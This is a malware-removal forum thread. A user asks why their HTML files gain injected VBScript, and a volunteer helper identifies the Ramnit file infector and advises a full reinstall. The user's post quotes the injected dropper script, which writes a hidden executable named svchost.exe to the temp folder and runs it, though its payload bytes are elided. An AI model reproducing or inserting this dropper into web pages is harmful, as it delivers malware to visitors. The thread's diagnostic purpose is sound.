when I design & code html files on windows 8.1 didn't get this problem

after I install [windows 7 SP1] all my local & new html files injected with about 80 line of VBScript

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9 .. 00"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

so I delete the script and re-save the file with extension , in this case I saved the file with .php

when I edit and open the .php file , doesn't get injected with vbscript anymore

P.S : I don't use any php code in .php file

What's the problem of windows 7 to inject all my html files with vbscript

Hi El3abth-Last :)

My name is Aura and I'll be assisting you with your malware issue. Since we'll be working together, you can call me Aura or Yoan, which is my real name, it's up to you! Now that we've broke the ice, I'll just ask you a few things during the time we'll be working together to clean your system and get it back to an operational state.
  • As you'll notice, the logs we are asking for here are quite lenghty, so it's normal for me to not reply exactly after you post them. This is because I need some time to analyse them and then act accordingly. However, I'll always reply within 24 hours, 48 hours at most if something unexpected happens;
  • As long as I'm assisting you on BleepingComputer, in this thread, I'll ask you to not seek assistance anywhere else for any issue related to the system we are working on. If you have an issue, question, etc. about your computer, please ask it in this thread and I'll assist you;
  • The same principle applies to any modifications you make to your system, I would like you to ask me before you do any manipulations that aren't in the instructions I posted. This is to ensure that we are operating in sync and I know exactly what's happening on your system;
  • If you aren't sure about an instruction I'm giving you, ask me about it. This is to ensure that the clean-up process goes without any issue. I'll answer you and even give you more precise instructions/explanations if you need. There's no shame in asking questions here, better be safe than sorry!;
  • If you don't reply to your thread within 3 days, I'll bump this thread to let you know that I'm waiting for you. If you don't reply after 5 days, it'll be closed. If you return after that period, you can send me a PM to get it unlocked and we'll continue where we left off;
  • Since malware can work quickly, we want to get rid of them as fast as we can, before they make unknown changes to the system. This being said, I would appreciate if you could reply to this thread within 24 hours of me posting. This way, we'll have a good clean-up rhythm and the chances of complications will be reduced;
  • I'm against any form of pirated, illegal and counterfeit software and material. So if you have any installed on your system, I'll ask you to uninstall them right now. You don't have to tell me if you indeed had some or not, I'll give you the benefit of the doubt. Plus, this would be against BleepingComputer's rules;
  • In the end, you are the one asking for assistance here. So if you wish to go a different way during the clean-up, like format and reinstall Windows, you are free to do so. I would appreciate you to let me know about it first, and if you need, I can also assist you in the process;
  • I would appreciate if you were to stay with me until the end, which means, until I declare your system clean. Just because your system isn't behaving weirdly anymore, or is running better than before, it doesn't mean that the infection is completely gone;
    This being said, I have a full time job, and I also have night classes on Mondays and Wednesdays, which means that if you reply during these two days, it'll take longer for me to reply to you. Don't worry, you'll be my first priority as soon as I get home and have time to look at your thread;
This being said, it's time to clean-up some malware, so let's get started, shall we? :)

I'm sorry to inform you that you're probably infected with Ramnit.

HKLM\...\Winlogon: [Userinit] c:\windows\system32\userinit.exe,,c:\program files\microsoft\desktoplayer.exe
https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2fRamnit

Sadly, once you're infected with a polymorphic file infector, there's nothing we can do, as they are almost impossible to get rid of. The only solution in your case is a clean "nuke and pave" (total format of your hard drive and reinstall of Windows). You also cannot back up any of your HTML, HTM and .exe files as they will most likely have already been infected with Ramnit, and running them on a new install will just bring back the installation.

For more information about file infectors you can read the post below by quietman.

Sorry to be the one to tell you that.
